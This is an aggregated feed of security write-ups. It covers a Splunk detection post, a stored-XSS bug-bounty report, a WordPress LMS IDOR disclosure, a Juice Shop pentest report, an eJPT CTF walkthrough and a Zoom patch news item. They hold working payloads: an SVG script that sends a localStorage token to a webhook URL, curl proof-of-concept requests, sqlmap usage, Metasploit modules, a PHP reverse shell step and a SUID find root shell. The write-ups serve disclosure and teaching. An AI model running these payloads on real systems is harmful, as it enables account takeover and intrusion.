    The three OR conditions each match one stage. transaction host maxspan=30m groups events on the same host within a 30-minute window into one logical unit — the line that turns scattered events into a story. where eventcount >= 3 only fires when all three stages hit the same host inside that window. One stage, nothing. Two, nothing. All three in sequence — that's a kill chain, not coincidence.

    27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04. Three innocent-looking actions revealed as one exfiltration chain.

    Result: 27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04. One alert with the full narrative instead of 27 disconnected log lines nobody would piece together manually.

    What happens after the alert fires

    Detecting the chain is only step one. Here’s how I’d actually triage this in a live SOC:

    Severity: High. Confirmed customer PII touched, compressed, and sent to an external host — this isn’t “suspicious,” it’s a completed exfiltration, not an attempt.

    First move: Isolate FIN-WKS-04 from the network immediately to stop any further outbound activity, and disable the account pending investigation — not delete it, since the account and its full history are now evidence.

    Scope the blast radius: Pull every file that account touched in the same session window, not just the one flagged file — the transaction proves this exfiltration; it doesn’t rule out others in the same session.

    Escalate, don’t conclude: This is exactly the kind of finding that gets handed to IR and HR jointly, not closed solo by a SOC analyst. My job at this stage is to hand over a clean timeline, not decide intent — that’s a human resources and legal call, not a technical one.

    Tune after, don’t tune during: The 30-minute window and the 3-event threshold both need validation against real traffic before this becomes a production rule — a busy analyst doing legitimate bulk export-and-archive work could trip the same pattern. That tuning is exactly what separates a lab detection from a production one.

    That last part matters more than the query itself. A rule that fires is only useful if someone downstream knows what to do the moment it does.

    This is Phase 5 of a full Splunk Enterprise SIEM lab I built from scratch — 6 OWASP Top 10 detections, a live SOC dashboard, incident reports, and two documented detection gaps. Full lab and all SPL: github.com/ronakmishra28/meridian-soc-detection-lab

    How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[SAR 2,629 For Stored XSS via svg Image Leading to ATO]]> https://tsecurity.de/de/3675348/hacking/sar-2629-for-stored-xss-via-svg-image-leading-to-ato/ https://tsecurity.de/de/3675348/hacking/sar-2629-for-stored-xss-via-svg-image-leading-to-ato/ Fri, 17 Jul 2026 09:23:38 +0200 đŸ•”ïž Hacking tsecurity.de
    REPORT BOUNTY

    Hacking via Pictures: Stored XSS via SVG Leading to Account Takeover

    Hello everyone! 👋

    In this write-up, I want to share an interesting finding: a Stored Cross-Site Scripting (XSS) vulnerability hidden inside a profile picture upload feature.

    By simply uploading a malicious SVG image, I was able to execute JavaScript code and steal authentication tokens stored in `localStorage`, leading to a full Account Takeover.

    Let’s dive into how it happened!

    The Discovery

    While hunting on a program from the BugBounty.sa platform, I focused on the user profile settings. I noticed the application allowed users to upload profile pictures, so I immediately checked if it accepted SVG (Scalable Vector Graphics) files.

    During my reconnaissance, I found three critical pieces of information that made this attack possible:

    1. Storage Mechanism: I inspected the application’s storage and found that the session credentials (authentication tokens) were stored in the browser’s `localStorage`.
    2. Same-Origin Hosting: I noticed that uploaded photos were hosted **self-hosted on the same domain** (e.g., `https://redacted.com/photos/...`) rather than on a separate CDN or sandbox domain. This is crucial because scripts running inside the image share the same origin as the main application, allowing them to access `localStorage`.

    3. Missing CSP: The application had a missing or misconfigured **Content Security Policy (CSP)**, allowing inline scripts to execute.

    Steps to Reproduce

    1. Navigate to the Target

    I logged into my account and went to the **Account Details** page.

    **URL:** `https://redacted.com/account/details`

    2. Create the Malicious Payload

    I set up a listener on **webhook.site** to capture the stolen data. Then, I created a file named `exploit.svg`. Inside this file, I embedded a script to grab the `token` from `localStorage` and send it to my webhook.

    • *The Payload:**
    <svg xmlns="[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg)" width="400" height="400" viewBox="0 0 124 124" fill="none">
    <rect width="124" height="124" rx="24" fill="#000000"/>
     <script type="text/javascript"> 
     var t = localStorage.getItem("token");
     if(t){
     // send token to attacker webhook
     fetch("[https://webhook.site/8c54e2aa-4731-48ec-8ff3-05c524cabd19?token=](https://webhook.site/8c54e2aa-4731-48ec-8ff3-05c524cabd19?token=)" + encodeURIComponent(t));
     }
     alert(t);
     </script>
    </svg>

    3. Upload the Image

    I clicked the upload button and selected my exploit.svg file. The application accepted it without any errors! ✅

    Once uploaded, I right-clicked the profile image and selected “Open image in new tab”.

    As soon as the browser rendered the SVG, the JavaScript executed. đŸ’„

    • An alert box popped up with the token.
    • The token was silently sent to my webhook listener.
    XSS Popup
    WEBGOOK

    The Impact

    This wasn’t just a simple popup. By accessing localStorage, I could extract the Authentication Token.

    With this token, an attacker can:

    • Take over the account without a password.
    • View sensitive personal information (PII).
    • Perform actions on behalf of the victim (admin or user).

    Remediation

    To fix this, developers should:

    • Sanitize SVGs: Remove <script> tags and event handlers (like onload) before saving the file.
    • Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
    • Force Content-Disposition: Serve user-uploaded images as attachment so browsers download them instead of rendering them.

    Happy Hacking!

    SAR 2,629 For Stored XSS via svg Image Leading to ATO was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]> https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/ https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/ Fri, 17 Jul 2026 09:23:36 +0200 đŸ•”ïž Hacking tsecurity.de

    Author: Shikhali Jamalzade
    GitHub: alisalive
    LinkedIn: camalzads
    Type: Independent Security Research | WordPress Plugin CVE Research

    This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.

    Background: Why Academy LMS

    My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.

    Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?

    This turned out to be exactly the right question.

    Understanding the Architecture

    Academy LMS uses two parallel systems for handling API requests.

    The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.

    The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.

    When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.

    The Quiz attempts controller told a different story.

    Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' => '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.

    The Vulnerability: Two Separate Failure Points

    The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.

    Failure point one: the target user was read from the request, not the session.

    // addons/quizzes/api/quiz-attempts.php, line ~305
    $student_id = $request->get_param( 'user_id' );
    if ( ! $student_id ) {
        $student_id = get_current_user_id();
    }

    The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.

    Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.

    // lines ~308-315
    $is_administrator = current_user_can( 'administrator' );
    $is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );
    $enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );
    $is_public        = \Academy\Helper::is_public_course( $course_id );
    if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {
        // returns attempt details
    }

    Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.

    The database query confirmed the full impact:

    // classes/query.php, get_quiz_attempt_details()
    "SELECT
        attempt_answers.attempt_id,
        attempt_answers.user_id,
        attempt_answers.is_correct,
        attempt_answers.answer as given_answer,
        quiz_answers.answer_title as correct_answer,
        quiz_answers.answer_content,
        quiz_answers.is_correct as is_correct_answer,
        quiz_questions.question_title,
        quiz_questions.question_type,
        ...
    FROM {$wpdb->prefix}academy_quiz_attempt_answers as attempt_answers
    LEFT JOIN {$wpdb->prefix}academy_quiz_answers as quiz_answers
        ON attempt_answers.question_id = quiz_answers.question_id
    WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"

    The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.

    The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.

    Both were confirmed exploitable during testing.

    The Contrast with the Fixed Code

    What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:

    // includes/api/notes.php (fixed)
    public function get_user_notes( $request ) {
        $user_id = get_current_user_id();
        // ...
    }

    No $request->get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.

    This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.

    Live Proof of Concept

    I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.

    Actors in the test:

    • Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course
    • Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker

    The attacker authenticates normally and obtains a valid REST nonce:

    curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null
    curl -s -b cj.txt -c cj.txt \
      --data-urlencode 'log=pocsubscriber' \
      --data-urlencode 'pwd=PASSWORD' \
      --data-urlencode 'wp-submit=Log In' \
      --data-urlencode 'testcookie=1' \
      "http://TARGET/wp-login.php" -o /dev/null
    NONCE=$(curl -s -b cj.txt \
      "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")

    The attacker then sends a request supplying the victim’s user_id and attempt_id:

    curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \
      "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&user_id=5"

    The response:

    {
      "3": {
        "attempt_id": "3",
        "user_id": "5",
        "is_correct": true,
        "given_answer": [],
        "correct_answer": [
          {
            "answer_id": "2",
            "quiz_id": "33",
            "answer_title": "SECRET_CORRECT_Paris",
            "answer_order": "1"
          }
        ],
        "answer_content": "CORRECT_ANSWER_CONTENT",
        "question_title": "Capital of France?",
        "question_type": "true_false"
      }
    }

    User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:

    curl -s -b cj.txt \
      --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \
      --data-urlencode 'security=ACADEMY_NONCE' \
      --data-urlencode 'course_id=32' \
      --data-urlencode 'attempt_id=3' \
      --data-urlencode 'user_id=5' \
      "http://TARGET/wp-admin/admin-ajax.php"

    Response: "success": true, same data.

    Impact Assessment

    The impact has two distinct dimensions.

    The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.

    The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.

    The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.

    CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

    Disclosure Timeline

    Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02

    Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02

    Submitted to WPScan vulnerability database with CVE request: 2026–07–02

    WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02

    Fix confirmed in latest version by code review (all $request->get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10

    Write-up published: 2026–07–10

    The Fix

    The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:

    // Before (vulnerable):
    $student_id = $request->get_param( 'user_id' );
    if ( ! $student_id ) {
        $student_id = get_current_user_id();
    }
    // After (fixed):
    $current_user_id = get_current_user_id();

    The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.

    What This Teaches

    A few things stood out during this research that are worth naming explicitly.

    The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.

    The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.

    Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.

    If you found this useful, feel free to connect on LinkedIn or check out my projects on GitHub.

    How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[VAPT Report Example]]> https://tsecurity.de/de/3675301/hacking/vapt-report-example/ https://tsecurity.de/de/3675301/hacking/vapt-report-example/ Fri, 17 Jul 2026 09:09:42 +0200 đŸ•”ïž Hacking tsecurity.de This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.

    Setup OWASP Juice Shop Locally Using Docker

    Install Docker

    Run:

    docker pull bkimminich/juice-shop
    docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop

    Browse to:
    http://localhost:3000

    1. Privilege Escalation via User Registration API

    Summary (with CWE)

    The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.

    CWE ID

    • CWE-269 — Improper Privilege Management
    • CWE-285 — Improper Authorization

    Severity (CVSS v3.1)

    CVSS Vector:
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    Metrics:

    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: High

    CVSS Base Score: 9.8 (Critical)

    Description

    OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.

    This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.

    Steps to Reproduce

    1. Send a POST request to: http://localhost:3000/api/Users
    2. Edit request body and add role parameter: { "role": "admin" }
    3. Submit the request using Burp Suite.
    4. The server responds with a successful user creation message.
    5. Log in using the created credentials.

    Suggested Remediation

    • Enforce server-side role control
    • Default role assignment
    • Allow admin role assignment only through authenticated admin workflows
    • Validate permissions on every sensitive endpoint

    References

    1. OWASP Top 10 — Broken Access Control
    2. CWE-269: Improper Privilege Management
    3. CWE-285: Improper Authorization
    4. OWASP Juice Shop Project

    2. OAuth Account Takeover

    Summary (with CWE)

    OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.

    This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.

    CWE ID

    • CWE-522 — Insufficiently Protected Credentials
    • CWE-287 — Improper Authentication
    • CWE-284 — Improper Access Control

    Severity (CVSS v3.1)

    CVSS Vector:
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

    Metrics

    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: None

    CVSS Base Score: 9.1 (Critical)

    Description

    OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.

    The OAuth workflow internally calls:

    • userService.save() (user creation)
    • userService.login() (standard login)

    Both functions set the user password using the following logic:

    password = btoa(n.email.split("").reverse().join(""))

    Password Generation Logic

    • The email address is reversed.
    • The reversed string is Base64-encoded.
    • The result is used as the account password.

    Steps to Reproduce:

    Identify OAuth Password Logic

    • Open main.js
    • Search for oauthLogin
    • Locate: password: btoa(n.email.split("").reverse().join(""))

    Derive Victim Password

    Email: bjoern@gmail.com
    Reversed: moc.liamg@nreojb
    Base64 encoded password:

    bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=

    Suggested Remediation

    • Never generate passwords client-side
    • Separate OAuth and password authentication
    • Use strong, random credentials
    • Do not expose authentication logic
    • Perform security design reviews

    References

    1. OWASP Top 10 — Broken Authentication
    2. CWE-522 — Insufficiently Protected Credentials
    3. OAuth 2.0 Security Best Practices (RFC 8252)
    4. OWASP Juice Shop Project

    3. SQL Injection in Product Search Endpoint

    Summary (with CWE)

    An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.

    This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.

    CWE ID

    CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)

    Severity (CVSS v3.1)

    CVSS Vector:
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

    Metrics

    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: None

    CVSS Base Score: 9.1 (Critical)

    Description

    The /rest/products/search API endpoint accepts user input via the q parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.

    An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as sqlmap can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.

    This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.

    Exploit Using sqlmap

    sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables

    Got User credentials :)

    Suggested Remediation

    • Sanitize and validate all user-supplied inputs
    • Implement parameterized queries
    • Deploy a Web Application Firewall (WAF)
    • Enable logging & monitoring

    References

    1. OWASP SQL Injection Prevention Cheat Sheet
    2. CWE-89 — SQL Injection
    3. OWASP Juice Shop Documentation
    4. CVSS v3.1 Specification: https://www.first.org/cvss/v3.1/

    4. Arbitrary File Download via Poison Null Byte Injection

    Summary (with CWE)

    The application is vulnerable to Poison Null Byte Injection, allowing an attacker to bypass file extension validation and download sensitive backup files stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.

    CWE ID

    • CWE-158 — Improper Neutralization of Null Byte
    • CWE-22 — Improper Limitation of Pathname to Restricted Directory

    Severity (CVSS v3.1)

    CVSS Vector:
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

    CVSS Base Score: 7.5 (High)

    Description

    OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a Poison Null Byte (%00) injection combined with double URL encoding.

    The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.

    This results in unauthorized access to sensitive backup files, potentially exposing configuration details, credentials, or business data.

    Steps to Reproduce:

    Access a Developer’s Forgotten Backup File:

    1. Navigate to the FTP directory: http://localhost:3000/ftp
    2. Attempt direct access (fails due to extension restriction): http://localhost:3000/ftp/package.json.bak
    3. Try Poison Null Byte injection (fails initially): http://localhost:3000/ftp/package.json.bak%00.md
    4. URL-encode the % character as well: http://localhost:3000/ftp/package.json.bak%2500.md

    The server successfully returns the restricted backup file, completing the exploit.

    Access a Salesman’s Forgotten Backup File:

    1. Use the same Poison Null Byte technique: http://localhost:3000/ftp/coupons_2013.md.bak%2500.md
    2. The backup file downloads successfully, revealing sensitive business data.

    Backup file downloads successfully.

    Suggested Remediation

    • Reject null bytes explicitly
    • Decode input before validation
    • Use allow-listed file access
    • Disable public access to backups
    • Use secure file APIs

    References

    1. OWASP Foundation — OWASP Juice Shop
    2. CWE-158: Improper Neutralization of Null Byte
    3. OWASP Testing Guide — File Handling Vulnerabilities
    4. PortSwigger — File Path Traversal & Null Byte Attacks

    Thanks For Reading :)

    Happy Hacking ;)

    VAPT Report Example was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[Host & Network Penetration Testing: Exploitation CTF 3 — eJPT (INE)]]> https://tsecurity.de/de/3675299/hacking/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine/ https://tsecurity.de/de/3675299/hacking/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine/ Fri, 17 Jul 2026 09:09:39 +0200 đŸ•”ïž Hacking tsecurity.de A walkthrough covering ProFTPD mod_copy exploitation, local service banner grabbing, SMB brute-force with webshell upload, and SUID binary privilege escalation to capture all four flags.

    Hello everyone!

    In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this time — one running a vulnerable FTP service with a hidden local service, and another with a misconfigured Samba share that opens a path all the way to root.

    So, let’s dive in.

    Q. A vulnerable service may be running on target1.ine.local. If exploitable, retrieve the flag from the root directory.

    As usual, I started with an Nmap scan:

    nmap -sV -sC target1.ine.local

    Port 21 was open running ProFTPD 1.3.5, alongside port 80 (Apache). I searched for known exploits:

    searchsploit ProFTPD 1.3.5

    A Metasploit module came up immediately — exploit/unix/ftp/proftpd_modcopy_exec, which abuses the mod_copy module to execute arbitrary commands via FTP. I loaded it up and set the site path to /var/www/html — the default Apache web root on Linux — since the exploit writes a payload there to be triggered over HTTP:

    use exploit/unix/ftp/proftpd_modcopy_exec
    set rhosts target1.ine.local
    set sitepath /var/www/html
    set lhost eth1
    run

    A shell session opened. I upgraded it to Meterpreter:

    sessions -u 1

    Then listed the root directory:

    meterpreter > ls /

    flag1.txt was sitting right there in the root.

    Q. Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.

    I read the flag file:

    meterpreter > cat /flag1.txt

    Along with the flag value, it contained a hint: “Remember, the magical word is ‘letmein’”.

    The question mentioned a local network service, so I checked what was listening internally:

    meterpreter > netstat

    Port 8888 was open on 127.0.0.1 — not exposed externally, only reachable from inside the machine. I dropped into a shell and connected to it with netcat:

    meterpreter > shell
    nc -nv 127.0.0.1 8888

    It prompted for a secret passphrase. I entered letmein — and it returned Flag 2 directly.

    Q. A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?

    Fresh Nmap scan on the second target:

    nmap -sV -sC target2.ine.local

    Ports 80, 139, and 445 were open — Samba running on a Linux target. The HTTP title read “Can you Pwn me?” — a clear invitation. I brute-forced SMB credentials across both users and passwords:

    use auxiliary/scanner/smb/smb_login
    set rhosts target2.ine.local
    set user_file /usr/share/wordlists/metasploit/common_users.txt
    set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
    set createsession true
    set verbose false
    run

    Six accounts came back with valid credentials, all with the same password. Multiple SMB sessions opened automatically. I used the administrator session:

    sessions 8
    shares
    shares -i site-uploads
    ls

    The site-uploads share was accessible and writable. The name itself was the giveaway — this share was almost certainly mapped to the web root. I uploaded a PHP reverse shell set to my IP:

    Set up a multi/handler listener, then triggered the shell by navigating to:

    http://target2.ine.local/site-uploads/shell.php

    Shell came back. Listing the root / directory showed flag3.txt right there.

    Q. Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?

    Still in the shell session, I upgraded to Meterpreter first:

    Then dropped into a shell and searched for SUID binaries — files that run with the owner’s privileges regardless of who executes them:

    find / -type f -perm -4000 2>/dev/null

    /usr/bin/find itself had the SUID bit set and was owned by root. This is a classic privilege escalation vector — if find runs as root and can execute commands, any user can spawn a root shell through it.

    I checked GTFOBins — a community database of Unix binaries that can be abused to bypass local security restrictions — for the correct syntax:

    find . -exec /bin/sh -p \; -quit

    whoami returned root. Flag 4 was in /root.

    Final Thoughts

    Two techniques in this CTF are worth remembering beyond the lab.

    The hidden port 8888 on target1 is a reminder that netstat inside a session reveals far more than an external Nmap scan ever will — internal services are invisible from outside and often completely unprotected because of it. Always check what's listening locally once you have a foothold.

    The SUID find escalation on target2 is a textbook GTFOBins vector. The lesson isn't just about find specifically — it's about building the habit of checking for SUID binaries early in post-exploitation. And GTFOBins is the resource to bookmark: if a binary is on that list and has SUID, you likely have a path to root.

    Thanks for reading!

    Host & Network Penetration Testing: Exploitation CTF 3 — eJPT (INE) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[Zoom Patches Critical Windows Flaw Enabling Account Takeover]]> https://tsecurity.de/de/3675160/it-security-nachrichten/zoom-patches-critical-windows-flaw-enabling-account-takeover/ https://tsecurity.de/de/3675160/it-security-nachrichten/zoom-patches-critical-windows-flaw-enabling-account-takeover/ Fri, 17 Jul 2026 07:53:50 +0200 📰 IT Security Nachrichten tsecurity.de CVE-2026-53412

    Zoom has released security updates to fix CVE-2026-53412, a critical Improper Input Validation vulnerability affecting its Windows software, which could allow attackers to take over user accounts via network access. The flaw primarily impacts the Zoom Desktop Client and other Windows-based Zoom products, prompting the company to urge users to install the latest updates. According to Zoom, CVE-2026-53412 carries a CVSS score of 9.8 and is tracked under security bulletin ZSB-26014. The company stated, "Improper Input Validation in Zoom Desktop Client for Windows and Zoom VDI Client for Windows may allow an unauthenticated user to conduct an account takeover via network access." The vulnerability is rated Critical with the CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

    CVE-2026-53412 Affects Zoom Desktop Client for Windows 

    The Improper Input Validation issue impacts Zoom Workplace for Windows before version 7.0.0 and Zoom Workplace VDI Client for Windows before versions 7.0.10, 6.6.15, and 6.5.18, depending on the software branch. Zoom advised users to remain protected by installing the latest software updates available through its download portal. The advisory credits Zoom Offensive Security for reporting the vulnerability. It also includes a revision history showing that version 1.0 of the bulletin was published on July 14, 2026, while version 1.1, released on July 15, 2026, removed Meeting SDK for Windows from the list of affected products. 

    Three Additional High-Severity Vulnerabilities Addressed 

